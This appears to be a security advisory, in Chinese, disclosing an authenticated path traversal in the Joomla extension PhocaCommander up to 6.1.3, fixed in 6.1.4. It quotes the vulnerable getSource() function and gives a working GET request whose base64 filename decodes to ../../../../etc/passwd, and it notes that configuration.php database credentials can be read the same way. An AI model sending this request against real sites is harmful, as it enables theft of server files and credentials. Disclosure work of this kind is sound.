PhocaCommander ≤ 6.1.3 —— 已认证的管理员路径遍历,无需 CSRF
PhocaCommander 的文件编辑器端点存在任意文件读取漏洞。getSource() 函数将 base64 编码的 filename 参数解码后,直接传递给 file_get_contents(),且未进行路径包含检查。已认证的管理员只需发送一个 GET 请求,即可读取 Web 服务器进程可访问的任何文件——包括 Web 根目录之外的文件。无需 CSRF 令牌。
利用该漏洞可从 configuration.php 中泄露 Joomla 的数据库凭据和密钥,并可通过路径遍历序列(例如 ../../../../etc/passwd)读取 /etc/passwd 等系统文件。
| 组件 | 受影响版本 | 测试环境 | 已修复版本 |
|---|---|---|---|
| PhocaCommander | 1.0.0 – 6.1.3 | Joomla 5.4.7 + PhocaCommander 6.1.3(PHP 8.2 / Apache) | 6.1.4 |
所需认证: 管理员会话(无需 CSRF 令牌——GET 请求)
文件: administrator/components/com_phocacommander/models/phocacommanderedit.php
getSource() 将 filename 从 base64 解码后,直接拼接到 JPATH_ROOT 上,然后读取文件,且未进行包含检查:
PHOCACOMMANDEREDIT.PHP —— 存在漏洞的代码
public function getSource($fileName) {
$fileName = base64_decode($fileName); // ← attacker-controlled
$item = new stdClass;
if (PhocaCommanderHelper::fileExists(JPATH_ROOT . '/' . $fileName)) {
$item->source = file_get_contents(JPATH_ROOT . '/' . $fileName); // ← no containment check
}
return $item;
}
fileExists() 使用 is_file(Path::clean($file))。Path::clean() 会规范化斜杠,但不会去除 ../ 序列,因此遍历路径可未受检查地逃逸出 Web 根目录。
代码库中的 helpers/phocacommander.php 包含 getContainedRealPath(),该函数基于 realpath() 执行正确的包含检查。save() 和 download() 会调用此函数,但 getSource() 中从未加入该检查。此外,控制器的 edit() 方法通过 GET 分发,因此标准 CSRF 令牌检查不适用——仅凭一个有效的管理员会话 Cookie 即可触发任意文件读取。
通过管理员登录页面进行身份验证,获取有效的会话 Cookie。除标准管理员会话外,无需任何其他特权。
发送以下携带 base64 编码遍历路径的 GET 请求:
GET /administrator/index.php?option=com_phocacommander&task=phocacommanderedit.edit&filename=Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
Cookie: [admin session]
filename 解码后:Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== → ../../../../etc/passwd
解析后的路径:/var/www/html/../../../../etc/passwd = /etc/passwd
编辑器会呈现 /etc/passwd 的完整内容,从而确认可读取 Web 根目录之外的文件。
请求 / 响应
